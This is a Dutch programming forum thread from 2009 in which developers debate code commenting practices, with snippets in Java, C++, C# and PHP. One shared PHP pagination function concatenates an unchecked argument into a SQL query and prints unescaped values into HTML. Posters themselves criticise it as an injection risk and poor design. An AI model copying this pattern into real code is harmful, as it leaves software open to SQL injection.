"Write code as if the next maintainer is a vicious psychopath who knows where you live."
Ik heb een keer een volledig werkende tekenapplicatie gemaakt in Java gezien die in één class geschreven was.Ozzie schreef op woensdag 18 november 2009 @ 18:36:
Ik heb in VB.net een keer een programma geschreven voor me broertje waarmee die kon bijhouden hoeveel bier/drank die verkocht op een avond in zijn 'zuipkeet-achtige-zolder-kamer'. Dit was nog voordat ik iets wist van object georiënteerd programmeren e.d. Het hele programma bestaat uit drie klasse. 2 daarvan maken gebruik van dezelfde methoden, die in allebei de klasse opnieuw zijn opgenomen. De grootste klasse bestaat uit ongeveer 1500 regels en is helemaal zonder commentaar geschreven...
Toch nog keertje overnieuw doen in java en dan wel degelijk in elkaar zetten.
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Mijn werk is mijn hobby
Look, runners deal in discomfort. After you get past a certain point, that’s all there really is. There is no finesse here.
Kater? Eerst water, de rest komt later

Ampera-e (60kWh) -> (66kWh)
Engineering is like Tetris. Succes disappears and errors accumulate.
Dat merk ik idd keer op keer, desalniettemin neem ik nog steeds niet de moeite om commentaar te schrijven, want daar heb ik gewoon geen zin inHaan schreef op donderdag 19 november 2009 @ 11:27:
Soms kunnen wat regeltjes documentatie ook voor je zelf heel handig zijn, ik merk zelf ook wel eens dat ik sommige stukken code van mezelf niet meer begrijp na er een tijd niet meer naar gekeken te hebben
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Ik kwam zelf vorig jaar een progsel van me tegen van zo'n 10 jaar geleden in SuperLogo
Eigenaar/brouwer Milky Road Brewery
Voorbeeldje van iets waar ik toevallig laatst mee bezig was:
1
2
3
4
5
6
7
8
9
10
11
12
| public interface PersonRepository { Person load(String imdbId); /** * * @param imdbId imdbId of the movie * @param relation relation with the movie or null for any relation * @return a list of persons involved in the movie */ List<Person> findByMovie(String imdbId, Relation relation); } |
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
Dat is ook geen juiste manier van commenteren. Een comment moet zeggen waarom je iets doet, niet wat je doet, want dat staat ook wel in de code zelf. Uitzondering hierop is wanneer je op een andere plek wilt weten wat je doet, dat is het commentaar dat je bij een methode zet zodat je in 1 oogopslag kunt zien wat die methode ongeveer doet en wat zijn randvoorwaarden zijn.JefSnare schreef op donderdag 19 november 2009 @ 11:54:
Alleen vindt ik commentaar in sommige gevallen zoals simpele echo's met vooraf gedefinieerde variabelen onhandig want dat zie je namelijk ook wel.
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
quote: JanozEen comment moet zeggen waarom je iets doet, niet wat je doet, want dat staat ook wel in de code zelf.
1
2
3
4
5
| /* Ik print het onderstaande uit omdat "Hello World" zo afgezaagd is. Ik gebruik ook System.out.println omdat ik te lui ben om een andere manier uit te zoeken (alhoewel die er legio zijn). */ System.out.println("Hoi Tnet!"); |
/letterlijk

“Build a man a fire, and he'll be warm for a day. Set a man on fire, and he'll be warm for the rest of his life.”
Zulk soort situaties kom ik nog wel eens tegen in de broncode bij ons. Zelf beschrijvende code hoeft wmb niet voorzien te worden van commentaar. Als je de apis opnieuw aan het documenteren bent kun je beter voor Microsoft/Sun gaan werken.YopY schreef op donderdag 19 november 2009 @ 12:38:
[...]
Java:
1 2 3 4 5 /* Ik print het onderstaande uit omdat "Hello World" zo afgezaagd is. Ik gebruik ook System.out.println omdat ik te lui ben om een andere manier uit te zoeken (alhoewel die er legio zijn). */ System.out.println("Hoi Tnet!");
/letterlijk
http://hawvie.deviantart.com/
Eigenaar/brouwer Milky Road Brewery
Ik ben ook eerstejaars, op de HS Leiden dus als het van die school isRam0n schreef op donderdag 19 november 2009 @ 14:11:
Ik zit op dit moment programmeeropdrachten na te kijken van een eerstejaars programmeervak, en dat staat vaak helemaal bol van dergelijk overbodig commentaar. Hele lappen met tekst om uit te leggen dat je door een array loopt... Maar daar ben ik dan weer voor, zorgen dat ze het volgende keer niet meer doen
Alleen ik heb niet onwijze zinloze comments in me code gezet volgens mij..
ontopic:
Ik heb een programma geschreven, dat sowieso slecht in elkaar zit, waarin prijzen van producten worden opgeslagen in een database. Nu moet een van de prijzen worden aangepast, maar dan worden in alle openstaande bonnen, die in een andere tabel worden opgeslagen ook de prijzen veranderd...
"Write code as if the next maintainer is a vicious psychopath who knows where you live."
Ik doe het op de universiteit, maar dat scheelt dan alsnog maar een paar straten als het goed isOzzie schreef op donderdag 19 november 2009 @ 17:55:
[...]
Ik ben ook eerstejaars, op de HS Leiden dus als het van die school is
Alleen ik heb niet onwijze zinloze comments in me code gezet volgens mij..
Eigenaar/brouwer Milky Road Brewery
Verwijderd
Overbodig commentaar bestaat niet.Ram0n schreef op donderdag 19 november 2009 @ 14:11:
Ik zit op dit moment programmeeropdrachten na te kijken van een eerstejaars programmeervak, en dat staat vaak helemaal bol van dergelijk overbodig commentaar. Hele lappen met tekst om uit te leggen dat je door een array loopt... Maar daar ben ik dan weer voor, zorgen dat ze het volgende keer niet meer doen
in talen zoals asm vind ik bijna een must op erg veel commentaar neer te zetten. lees maar eens na een paar jaar een moeilijk stuk code terug. dan ben je blij met elke regel commentaar. Een ex collega programmeerde hele lappen in asm ( 30.000 regels) zonder 1 regel commentaar daar word je dus niet blij van.
ok, voor de meeste school opdrachten is niet erg veel commentaar nodig. maar beter te veel als te weinig
Tegenbewijs:
1
| i++; // verhoog i met 1 |
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Commentaar schrijven is een vak apart en kan je aanleren, gelukkig.
Eigenaar/brouwer Milky Road Brewery
1
| int NumberOfUsers = GetNumUsers(); // kijk hoeveel gebruikers er zijn, en sla het op in NumberOfUsers als integer |
En niet uitleggen waar GetNumUsers zn waardes op baseert, of waar je het voor nodig hebt.. Neuh, dat zoek je zelf maar uit
Belachelijk, en toch zie je zo'n commentaar langs komen.
IF IF = THEN THEN THEN = ELSE ELSE ELSE = IF;
If money talks then I'm a mime
If time is money then I'm out of time
Haha ja dat is wel een foutje ja! De relativiteit iets te ver door getrokkenOzzie schreef op donderdag 19 november 2009 @ 17:55:
[...]
Ik ben ook eerstejaars, op de HS Leiden dus als het van die school is
Alleen ik heb niet onwijze zinloze comments in me code gezet volgens mij..
ontopic:
Ik heb een programma geschreven, dat sowieso slecht in elkaar zit, waarin prijzen van producten worden opgeslagen in een database. Nu moet een van de prijzen worden aangepast, maar dan worden in alle openstaande bonnen, die in een andere tabel worden opgeslagen ook de prijzen veranderd...
Lijkt me toch dat de functieomschrijving boven de functie voldoende info geeft? JE zoekt de functie op en DAAR staat hoe die functie aan zijn output komt? Of denk ik verkeerd?link0007 schreef op donderdag 19 november 2009 @ 18:39:
C#:
1 int NumberOfUsers = GetNumUsers(); // kijk hoeveel gebruikers er zijn, en sla het op in NumberOfUsers als integer
En niet uitleggen waar GetNumUsers zn waardes op baseert, of waar je het voor nodig hebt.. Neuh, dat zoek je zelf maar uit
Belachelijk, en toch zie je zo'n commentaar langs komen.
[ Voor 29% gewijzigd door Mischa_NL op 19-11-2009 18:56 ]
Bijna. De info staat inderdaad gewoon bij de functie, maar ipv opzoeken gebruik je en fatsoenlijke IDE die een popupje geeft wanneer je even over de functie hoovert. In dit popupje staat vervolgens keurig de functieomschrijvingMischa_NL schreef op donderdag 19 november 2009 @ 18:55:
Lijkt me toch dat de functieomschrijving boven de functie voldoende info geeft? JE zoekt de functie op en DAAR staat hoe die functie aan zijn output komt? Of denk ik verkeerd?
Ken Thompson's famous line from V6 UNIX is equaly applicable to this post:
'You are not expected to understand this'
Dat is begrijpelijk en doe ik zelf ook - leerlingen, maar ook ikzelf die een stuk moeilijke code schrijven, kunnen zo voor hunzelf uitleggen wat er precies gebeurt. Functioneel is het niet, maar het helpt bij het leerproces, zowel voor de student zelf als de twintig mede-studenten die zijn code kopiërenRam0n schreef op donderdag 19 november 2009 @ 14:11:
Ik zit op dit moment programmeeropdrachten na te kijken van een eerstejaars programmeervak, en dat staat vaak helemaal bol van dergelijk overbodig commentaar. Hele lappen met tekst om uit te leggen dat je door een array loopt... Maar daar ben ik dan weer voor, zorgen dat ze het volgende keer niet meer doen
De class krijgt een omschrijving mee van waarvoor die dient, vervolgens hebben de functies logische namen, zodat dat niet heel veel uitmaakt verderop in de code als je een functie aanroept (je kan aan de naam zien wat die doet, hoe die dat doet is aan de functie!). Boven elke functie staat phpdoc (zelfde idee als Javadoc) zodat mijn ide ook aangeeft bij hoveren, of het aanroepen van de functie ergens in de code wat die functie doet en welke variabelen er meegegeven moeten/ kunnen worden.
Als je dit gewoon standaard doet vang je al een heleboel af.
Verder bij de regels code die niet voor zichzelf spreken commentaar toevoegen wat er daar gebeurt/ waarom dat gebeurt. Meestal doe ik beiden.
Het becommentariëren van de code is mijns inziens een heel goede gewoonte, wie zegt mij dat ik de enige ben/ blijf die met de code werkt? En wie zegt mij dat mijn manier de goede/ meest logische is en dat iemand die daar in de toekomst evt. aan komt te werken die logica snapt?
Misschien nog wel belangrijker: Heb ik over een jaar nog dezelfde manier / logica van code schrijven en begrijp ik mijn eigen logica nog wel?
Daarom moet je toch wel commentaar toevoegen aan je code, om het werken met de code alsmede de leesbaarheid van de code en begrijpbaarheid van je werkmethoden ook in de toekomst en voor anderen overzichtelijk te houden.
Scheelt een heleboel zoeken en proberen en op de langere termijn ook enorm veel in tijd. Goed commentariseren is een win-win-win situatie.
Verwijderd
- een class van 30150 regels code,
- daarin een procedure van +- 12500 regels code
geen regel zinnig commentaar te vinden in heel class, en dan vind je zoiets als je het probeert uit te spitten om een wijziging uit te voeren:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| if ( int_Temp != 422) { int_Temp /=10; switch ( int_Temp) { case 20: case 21: case 22: case 23: case 24: case 25: case 26: case 27: //17-05-05 --> toch beoordeelt als te gevaarlijk //case 42: case 60: case 61: case 63: case 64: case 65: { break; } default: { } } } |
Dit bedoelde ik exact dusJanoz schreef op vrijdag 20 november 2009 @ 10:49:
[...]
Bijna. De info staat inderdaad gewoon bij de functie, maar ipv opzoeken gebruik je en fatsoenlijke IDE die een popupje geeft wanneer je even over de functie hoovert. In dit popupje staat vervolgens keurig de functieomschrijving
Moet zeggen dat ik het zelf vaak ook 'vergeet'. Een vorm van laksheid denk ik...
Het IS gewoon een complexe functie met een complex algoritme (en ze zal in de toekomst nog moeilijker worden) en dan is het gemakkelijk om:
- van elke regel code te kunnen verifiëren dat ze doet wat er in de commentaar regel staat
- alle commentaar regels te overlopen om je algoritme te valideren
Reken wel dat de meeste regels niet zomaar i++ zijn, maar eerder complexe LINQ queries, filter operaties en ander spul dat in een low-level taal een tiental regels vereist.
ASSUME makes an ASS out of U and ME
Het hangt gewoon van de situatie af, er is niet echt een vaste regel voor te bedenken.
Eigenaar/brouwer Milky Road Brewery
1
2
3
4
5
6
7
8
9
10
11
12
13
| /** * Maakt een rapport van de lonen van de werknemers. * * @param rapportLocatie De locatie waar het rapport dient opgeslagen te worden. */ void Rapporteur::rapporteerLonen(string rapportLocatie) throw (IOException) { /// Haal de lonen per functie en de werkuren per werknemer uit de database. /// Bereken voor elke werknemer de te ontvangen loon. /// Plaats de berekende lonen in een rapport. } |
Er komt ongeveer onder elke lijn een 5-6 tal lijnen code, nu is het voor een andere programmeur duidelijk waarvoor elke 5 lijnen dienen, hoe simpel en duidelijk of hoe complex en onduidelijk ik het ook implementeer. Uiteraard laat ik in de simpele gevallen als het aanroepen van enkele andere functies zonder verwerking de commentaar weg, en een moeilijk algorithme documenteer ik dan weer wat meer.
Documentatie tools zoals Doxygen plaatsen deze commentaar lijnen vrolijk mee in de documentatie, en als je de documentatie binnen de functie weg wil laten dan kan dat ook gewoon door een optie van Doxygen te veranderen.
Ik zou niet direct inzien wat er mis is aan deze regel te hanteren als je nood hebt aan effectieve documentatie binnen je code, uiteraard definieert dit niet wanneer je nu wel of niet een lijn moet uittypen maar dat is eerder iets wat je op gevoel moet ontdekken.
Als je consequent wil documenteren op deze manier past dit perfect als een stap in de TDD-methodiek.
[ Voor 8% gewijzigd door TaraWij op 21-11-2009 18:54 ]
Dit zou ik zelf nooit doen. Het vervuilt de code ( methode ) met comments die je daar volgens mij helemaal niet wilt. Als je comments in je methode body moet hebben dan is OF je code te complex voor één methode of je comments boven de methode is niet duidelijk genoeg. Zoals al eens is gezegd hier. Code zou zichzelf uit moeten kunnen leggen. Doet het dat niet dan is de code te complex / te lang voor een methode en is het misschien slimmer om het op te delen. Maar that is my point of view.TaraWij schreef op zaterdag 21 november 2009 @ 18:48:
Zelf typ ik meestal eerst het doel van de functie uit in commentaar, vervolgens typ ik onder elke commentaar de nodige implementatie. Dan heb je normaal gezien een lijn commentaar per paar regels code, als je er dan over gaat nadenken zou voor een andere persoon minder te weinig zijn en meer overbodig zijn. Een voorbeeld:
C++:
1 2 3 4 5 6 7 8 9 10 11 12 13 /** * Maakt een rapport van de lonen van de werknemers. * * @param rapportLocatie De locatie waar het rapport dient opgeslagen te worden. */ void Rapporteur::rapporteerLonen(string rapportLocatie) throw (IOException) { /// Haal de lonen per functie en de werkuren per werknemer uit de database. /// Bereken voor elke werknemer de te ontvangen loon. /// Plaats de berekende lonen in een rapport. }
Er komt ongeveer onder elke lijn een 5-6 tal lijnen code, nu is het voor een andere programmeur duidelijk waarvoor elke 5 lijnen dienen, hoe simpel en duidelijk of hoe complex en onduidelijk ik het ook implementeer. Uiteraard laat ik in de simpele gevallen als het aanroepen van enkele andere functies zonder verwerking de commentaar weg, en een moeilijk algorithme documenteer ik dan weer wat meer.
Documentatie tools zoals Doxygen plaatsen deze commentaar lijnen vrolijk mee in de documentatie, en als je de documentatie binnen de functie weg wil laten dan kan dat ook gewoon door een optie van Doxygen te veranderen.
Ik zou niet direct inzien wat er mis is aan deze regel te hanteren als je nood hebt aan effectieve documentatie binnen je code, uiteraard definieert dit niet wanneer je nu wel of niet een lijn moet uittypen maar dat is eerder iets wat je op gevoel moet ontdekken.
Als je consequent wil documenteren op deze manier past dit perfect als een stap in de TDD-methodiek.
Voorbeeld:
1
2
3
4
5
6
7
8
| float loon::bereken() { float x = 10; float y = 20; float totaal = x * y; return totaal; } |
Hierbij weet je totaal niet wat er gebeurd, echter:
1
2
3
4
5
6
7
8
| float loon::berekenLoon() { float uurloon = 10; float gewerkteUren = 20; float totaalVerdiend = uurloon * gewerkteUren; return totaalVerdiend; } |
Geeft al precies aan wat er gebeurd en hoeft dus niet meer te worden voorzien van commentaar. Ik weet dat het een heel simpel voorbeeld is, toch zie ik vaak dat er onduidelijke namen worden gebruikt en vervolgens van commentaar moeten worden voorzien om het duidelijk te krijgen.
Verder doe ik eigenlijk hetzelfde als tomWij aanhaald, eerst zet ik de stappen neer die ik wil gaan nemen (dus wat gebeurd er eerst in mijn code, wat daarna etc. etc.) en werk die stukken vervolgens uit (gelijk aan wat tomWij dus doet).
Je zou zeggen, liever teveel commentaar dan geen commentaar, maar eigenlijk moet het commentaar precies goed zijn (vind ik), niet teveel, maar het moet ook niet onduidelijk worden.
@Webgnome: Ben ik het zelf niet mee eens, je geeft stapsgewijs aan wat je gaat doen, iets wat meerdere regels code bevat. Hierdoor kan je eenvoudig zien in welk deel van je code het fout gaat, dit kan je niet allemaal in je @desc zetten.
Hierbij kan je ook makkelijk zien in welk deel het fout gaat... Commentaar moet je code leesbaarder maken, en ik denk dat zijn voorbeeld daaraan bijdraagt.
Ookal is het discutabel of zijn aangegeven stappen niet gewoon aparte functies/methoden moeten worden
/// Haal de lonen per functie en de werkuren per werknemer uit de database.
/// Bereken voor elke werknemer de te ontvangen loon.
/// Plaats de berekende lonen in een rapport.
Het zijn opzich 3 aparte taken, bij duidelijke naamgeving van functies zou je dit dus inderdaad aan de code kunnen opmaken. Ben alleen wel voorbeelden tegengekomen waarbij het geven van stappen wel handig is (maar dan meer om het "waarom", wat hierboven reeds is uitgelegd, met commentaar geef je aan waarom je iets doet).
[ Voor 28% gewijzigd door XiniX88 op 21-11-2009 19:37 ]
Ik gebruik naast @param ook altijd @desc waar ik een korte beschrijving neerzet.Webgnome schreef op zaterdag 21 november 2009 @ 19:26:
[...]
Dit zou ik zelf nooit doen. Het vervuilt de code ( methode ) met comments die je daar volgens mij helemaal niet wilt. Als je comments in je methode body moet hebben dan is OF je code te complex voor één methode of je comments boven de methode is niet duidelijk genoeg. Zoals al eens is gezegd hier. Code zou zichzelf uit moeten kunnen leggen. Doet het dat niet dan is de code te complex / te lang voor een methode en is het misschien slimmer om het op te delen. Maar that is my point of view.
d = f - int(f);
dp = d * 100;
[ Voor 11% gewijzigd door alienfruit op 21-11-2009 20:34 ]
Daar ben ik het zeker niet mee eens. Soms (regelmatig zelfs) heb je methodes die een heleboel sequentiele dingen uitvoeren, waarbij het volstrekt onzinnig is om die op te splitsen in meerdere methodes. Zou je dat wel doen, dan zit je op te splitsen puur om het op te splitsen. In o.a. die gevallen is het echt wel nuttig om er hier en daar ocmmentaar bij te zetten.Webgnome schreef op zaterdag 21 november 2009 @ 19:26:
[...]
Dit zou ik zelf nooit doen. Het vervuilt de code ( methode ) met comments die je daar volgens mij helemaal niet wilt. Als je comments in je methode body moet hebben dan is OF je code te complex voor één methode of je comments boven de methode is niet duidelijk genoeg. Zoals al eens is gezegd hier. Code zou zichzelf uit moeten kunnen leggen. Doet het dat niet dan is de code te complex / te lang voor een methode en is het misschien slimmer om het op te delen. Maar that is my point of view.
Ook in compacte methodes is het erg vaak nuttig. In de beschrijving van de methode zelf leg je namelijk uit wat de methode doet voor degene die hem gebruikt. *In* de methode leg je uit wat je doet voor de programmeur(s) die die code moet onderhouden. Ik geloof nooit dat al jouw implementaties zo voor de hand liggend zijn dat je nooit commentaar in je methodes nodig hebt. Er zullen altijd wel gevallen zijn waar je uit moet leggen waarom je iets op een bepaalde manier opgelost hebt. Bijvoorbeeld een op eerste gezicht minder voor de hand liggende implementatie n.a.v. een opgetreden bug, of een bekend side-effect van een ander stuk code dat je aanroept. Of vanwege efficiency.
Sterker nog, ik vind de opmerking 'als je het moet documenteren, had je je code anders moeten schrijven' extreem dogmatisch, en weinig feeling hebben met de werkelijkheid.
I mentioned it once, but I think I got away with it.
Dat ben ik niet helemaal met je eens/ik vul je aan. De beste code omschrijft zichzelf. Maar soms is het nodig om extra commentaar toe te voegen om te voorkomen dat je collega een wtf ervaring krijgt. Bijvoorbeeld in één van mijn windows forms projecten moet je wel eens wat gekke dingen doen om ervoor te zorgen dat het op alle fronten goed werkt. Het is al wel eens voorgekomen dat ik dacht hé wat een gekke plek voor die code en dat ik het verwijderde en een deel van het project sloopte. Dat kan het instellen van een simpele boolean zijn.Webgnome schreef op zaterdag 21 november 2009 @ 19:26:
[...]
Dit zou ik zelf nooit doen. Het vervuilt de code ( methode ) met comments die je daar volgens mij helemaal niet wilt. Als je comments in je methode body moet hebben dan is OF je code te complex voor één methode of je comments boven de methode is niet duidelijk genoeg. Zoals al eens is gezegd hier. Code zou zichzelf uit moeten kunnen leggen. Doet het dat niet dan is de code te complex / te lang voor een methode en is het misschien slimmer om het op te delen. Maar that is my point of view.
Je formulering is wat zwart/wit maar ik er zit wel een belangrijke wijsheid in. Kun je je code ook zo herschrijven dat er geen commentaar nodig is? Ik ken wel voorbeelden van iemand die assembly code toevoegde in delphi omdat hij niet wist hoe je in delphi een bitwise compare doet.brama schreef op zaterdag 21 november 2009 @ 21:12:
[...]
Sterker nog, ik vind de opmerking 'als je het moet documenteren, had je je code anders moeten schrijven' extreem dogmatisch, en weinig feeling hebben met de werkelijkheid.
[ Voor 19% gewijzigd door HawVer op 21-11-2009 22:50 ]
http://hawvie.deviantart.com/
[ Voor 12% gewijzigd door Zoijar op 21-11-2009 23:08 ]
Helemaal mee eens, je kunt je scripts wel volgooien met commentaar maar wanneer is het nuttig en wanneer niet. Useless als je inderdaad iets als "bitwise compare" neerzet. Het voegt niks toe en ik vindt het vrij irritant wanneer medestudenten dit ook vrijwel meestal doen. Dan bij onderstaande functie weer geen commentaar neerzetten
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| function makePages($countqu, $current, $bb){ $num = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ".$countqu."")); if($num[0] > 5){ $maxpage = round($num[0] / 2) -1; if($sort && $sort == 1){ $varsort = '&sort=1'; } else{ $varsort = ''; } print '<p>Er zijn '.$num[0].' artikelen gevonden.<br/>';; if($current > 1){ $ter = $current -5; print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} if($current <= $maxpage){ $vol = $current +5; print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';} else{ print 'Einde</p>';} } } |
Is ook best uit te komen zonder commentaar, kan me echt wel lastigere situaties bedenken. Maar toch wel onhandig zonder commentaar.

Ben niet zo into PHP, maar if($sort && $sort == 1) is toch hetzelfde als if($sort == 1)?JefSnare schreef op zaterdag 21 november 2009 @ 23:29:
@Zoijar:
Helemaal mee eens, je kunt je scripts wel volgooien met commentaar maar wanneer is het nuttig en wanneer niet. Useless als je inderdaad iets als "bitwise compare" neerzet. Het voegt niks toe en ik vindt het vrij irritant wanneer medestudenten dit ook vrijwel meestal doen. Dan bij onderstaande functie weer geen commentaar neerzetten.
PHP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function makePages($countqu, $current, $bb){ $num = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ".$countqu."")); if($num[0] > 5){ $maxpage = round($num[0] / 2) -1; if($sort && $sort == 1){ $varsort = '&sort=1'; } else{ $varsort = ''; } print '<p>Er zijn '.$num[0].' artikelen gevonden.<br/>';; if($current > 1){ $ter = $current -5; print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} if($current <= $maxpage){ $vol = $current +5; print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';} else{ print 'Einde</p>';} } }
Is ook best uit te komen zonder commentaar, kan me echt wel lastigere situaties bedenken. Maar toch wel onhandig zonder commentaar.
Die past in de categorie check check dubbelcheckJegorex schreef op zaterdag 21 november 2009 @ 23:36:
[...]
Ben niet zo into PHP, maar if($sort && $sort == 1) is toch hetzelfde als if($sort == 1)?
Ik controleer het vaak ook op meerdere manieren om er zeker van te zijn...en qua CPU tijd hoef je het tegenwoordig ook niet meer te laten
Ik zat misschien wel wat enthousiast op de evangeliestoel jaHawVer schreef op zaterdag 21 november 2009 @ 22:42:
Je formulering is wat zwart/wit maar ik er zit wel een belangrijke wijsheid in. Kun je je code ook zo herschrijven dat er geen commentaar nodig is? Ik ken wel voorbeelden van iemand die assembly code toevoegde in delphi omdat hij niet wist hoe je in delphi een bitwise compare doet.
Een mooie aanvullende vuistregel die ik hanteer bij het schrijven van code is: Snap ik dit over een half jaar nog, zonder te moeten gaan spitten? Nee, dan is commentaar meestal nodig, ja, dan is het vaak niet nodig. Op die manier is het zowel voor je eigen code nuttig, maar ook als je code door iemand anders aangepast moet worden. Deze vuistregel is overigens een richtlijn en niet 100% zaligmakend.
I mentioned it once, but I think I got away with it.
Die vergelijking is sowieso een beetje vreemd, aangezien de variabele $sort niet wordt gedefinieerd in de functie makePages(). Afgezien van dat, zou dit dan ook nog een betere controle zijn:Jegorex schreef op zaterdag 21 november 2009 @ 23:36:
[...]
Ben niet zo into PHP, maar if($sort && $sort == 1) is toch hetzelfde als if($sort == 1)?
1
| if (isset($sort) && $sort == 1) |
zou het misschien zo kunnen zijn dat ze ipv $_GET['sort'], $sort gebruiken (wat natuurlijk heel erg slecht is)?HuHu schreef op zondag 22 november 2009 @ 12:02:
[...]
Die vergelijking is sowieso een beetje vreemd, aangezien de variabele $sort niet wordt gedefinieerd in de functie makePages(). Afgezien van dat, zou dit dan ook nog een betere controle zijn:
PHP:
1 if (isset($sort) && $sort == 1)
Zo mijn eerste bericht ook eens even hier..JefSnare schreef op zaterdag 21 november 2009 @ 23:29:
*snip*
PHP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function makePages($countqu, $current, $bb){ $num = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ".$countqu."")); if($num[0] > 5){ $maxpage = round($num[0] / 2) -1; if($sort && $sort == 1){ $varsort = '&sort=1'; } else{ $varsort = ''; } print '<p>Er zijn '.$num[0].' artikelen gevonden.<br/>';; if($current > 1){ $ter = $current -5; print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} if($current <= $maxpage){ $vol = $current +5; print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';} else{ print 'Einde</p>';} } }
Is ook best uit te komen zonder commentaar, kan me echt wel lastigere situaties bedenken. Maar toch wel onhandig zonder commentaar.
Ik vind jouw code zoals die er nu uit ziet, wat het inspringen ook betreft er gewoon lelijk uitzien, zoals je if aan het eind, zou hem zelf gewoon overzichtelijker schrijven.
1
2
3
4
5
6
| if($current <= $maxpage) { $vol = $current + 5; echo "<a href=\"{$bb}&arp={$vol}{$varsort}\">volgende</a></p>"; } else { echo "Einde</p>"; } |
Als je het mij vraagt hoort er bij elke functie met of zonder argumenten gewoon een snelle beschrijving bij te staan wat de functie doet ook al heb je geen mede-developpers, dit omdat als je het eens een keer kwijt bent het dan even leest en wie weet schiet het je dan wel weer te binnen.
Als jij ooit je code wilt uitbreiden van een jaar geleden en dat was iets als dit, dan zou je waarschijnlijk ook niet meer weten wat het exacte doel van de functie was, daarom denk ik dat het handig is altijd even een stukje commentaar erbij te zetten. Het is wat extra werk maar het script wordt er niet slomer van
Zo zijn er nog tig scenario's te bedenken
Buiten alle andere WTF's vind ik concatenaten met een lege string nog wel de mooisteJefSnare schreef op zaterdag 21 november 2009 @ 23:29:
PHP:
1 2 3 4 5 //*snip* $num = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ".$countqu."")); //*snip* print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';}

(zie ik het nou goed dat je met php/mysql geen query parameters op kan geven? dat zou wel erg triest zijn...)
[ Voor 23% gewijzigd door Zoijar op 22-11-2009 13:14 ]
Daar verbaasde ik me ook al over. Beter escapen of de ascii waarde gebruikenhostname schreef op zondag 22 november 2009 @ 13:09:
Buiten alle andere WTF's vind ik concatenaten met een lege string nog wel de mooiste
If money talks then I'm a mime
If time is money then I'm out of time
Mwah dat valt mee, tenzij iemand een br33zA databasenaam heeft gekozen met hier en daar wat leuke weet ik wat tekens, alleen lijkt me dat niet echt normaalZoijar schreef op zondag 22 november 2009 @ 13:10:
Ik vind die count(*) query ook eng overigens. $countqu wordt helemaal niet gechecked en is input van een functie. Een gebruiker van de functie zou zo maar kunnen vergeten iets te escapen.
(zie ik het nou goed dat je met php/mysql geen query parameters op kan geven? dat zou wel erg triest zijn...)
Vandaar dat ook de sort (werd niet meegegeven) niet werkte en ik maar denken dat het aan die parameter laghostname schreef op zondag 22 november 2009 @ 13:09:
[...]
Buiten alle andere WTF's vind ik concatenaten met een lege string nog wel de mooiste

1
2
3
4
5
6
7
| <?php //*snip* $num = mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ".$countqu."")); //*snip* print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';} ?> |
De variabele in de query wordt ergens anders gecontroleerd en ge-escaped wanneer nodig, maarja het moet nodig herschreven worden. Nu werkt het wel maar het is gewoon niet handig. btw, niet door mij geschreven, kwam het tegen in een scriptje van een collega.
1
2
3
4
5
6
| <?php //*snip* print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';} //*snip* ?> |
Zal hij uberhaupt wel uitgevoerd kunnen worden?
Er staat namelijk een slash voor een apostrof.
...'<a href="/'.$bb.'&...
er kan toch als "index.php" in $bb opgeslagen wordtJegorex schreef op zondag 22 november 2009 @ 15:09:
PHP:
1 2 3 4 5 6 <?php //*snip* print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';} //*snip* ?>
Zal hij uberhaupt wel uitgevoerd kunnen worden?
Er staat namelijk een backslash voor een apostrof.
...'<a href="/'.$bb.'&...
href="/index.php&arp=..." uitkomen, wat misschien niet de meest nette url is, maar niet fout toch?
If money talks then I'm a mime
If time is money then I'm out of time
I mentioned it once, but I think I got away with it.
Er staat een forwardslash (/), terwijl om te escapen altijd de backslash (\) wordt gebruikt.Jegorex schreef op zondag 22 november 2009 @ 15:09:
PHP:
1 2 3 4 5 6 <?php //*snip* print '<a href="/'.$bb.'&arp='.$ter.''.$varsort.'">vorige</a> • ';} print '<a href="/'.$bb.'&arp='.$vol.''.$varsort.'">volgende</a></p>';} //*snip* ?>
Zal hij uberhaupt wel uitgevoerd kunnen worden?
Er staat namelijk een slash voor een apostrof.
...'<a href="/'.$bb.'&...
brama schreef op zondag 22 november 2009 @ 16:00:
Mijn eerste reactie bij het zien van die PHP-code was vooral waarom er HTML geprint wordt, ipv een template gebruikt.
Niet weer die slimme opmerking van iemand die denkt dat een template engine de beste manier is
Template of geen template, het doen van queries en het printen van HTML in één en dezelfde functie stoppen is niet echt een goed plan.Cartman! schreef op zondag 22 november 2009 @ 16:58:
[...]
Niet weer die slimme opmerking van iemand die denkt dat een template engine de beste manier isZoek ff wat afgelopen topics op om die discussie te lezen en je weet wat ik bedoel
